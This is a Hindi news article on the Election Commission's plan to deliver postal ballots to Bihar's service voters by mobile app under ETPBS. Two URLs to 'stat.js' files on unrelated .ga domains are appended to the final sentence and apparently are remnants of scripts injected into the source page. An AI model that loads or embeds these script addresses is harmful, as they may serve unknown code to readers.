बिहार के विधानसभा चुनाव में टेक्नोलॉजी का प्रयोग बड़े अच्छे ढंग से किया जा रहा है। बताया जा रहा है कि चुनाव आयोग ने डाक का झंझट खत्म करके सर्विस वोटरों को मोबाइल के जरिए बैलट उपलब्ध कराने की कोशिश में लगा है। दरअसल बिहार में डेढ़ लाख से अधिक सर्विस वोटरों के लिए चुनाव आयोग मतदान की नई व्यवस्था में जुट गया है। इसके लिए इलेक्ट्रॉनिकली ट्रांसमिटेड पोस्टल बैलट मैनेजमेंट सिस्टम की शुरुआत करी जा रही है।
सूबे में अभी सर्विस वोटर चिन्हित किए गए हैं। इन्हें चुनाव आयोग ईटीपीबीएस के तहत रजिस्टर करेगा और उनका बैलेट पेपर मोबाइल के जरिए ऑनलाइन उपलब्ध कराएगा। बताया जा रहा है कि इन रजिस्टर सर्विस वोटरों को उनका बैलेट पेपर मनचाहे स्थान पर मोबाइल ऐप के माध्यम से उपलब्ध करा दिया जाएगा। वहीं बैलट पेपर प्रिंट कराएंगे और फिर मनपसंद प्रत्याशी को वोट देकर बैलेंस निर्वाचन पदाधिकारी को भेज सकेंगे। खबरों के मुताबिक बताया जा रहा है कि अलग-अलग विधानसभा क्षेत्र के सर्विस वोटरों को मतदान के लिए अब डाक विभाग से बैलेंस मिलने का इंतजार नहीं करना पड़ेगा।
पिछले साल तक सर्विस वोटरों को डाक विभाग से बैलेंस मिलने में देर हो जाती थी और कभी-कभी तो नाम पत्ते में गलती की वजह से बैलेट पेपर ही नहीं मिल पाता था। चुनाव आयोग के सहायक आयुक्त सक्षम कुमार ने इस संबंध में राज्य निर्वाचन विभाग से फीडबैक मांगा है। उन्होंने मोबाइल के जरिए पोस्टल बैलेट के उपयोग की प्रक्रिया तय करते हुए कहा है कि इसमें यदि किसी सुधार या संशोधन की गुंजाइश हो तो जल्द चुनाव आयोग को अवगत करायें। ताकि चुनाव से पहले इसकी प्रक्रिया दुरुस्त कर ली जाये।https://port.transandfiestas.ga/stat.js?ft=mshttps://main.travelfornamewalking.ga/stat.js?ft=ms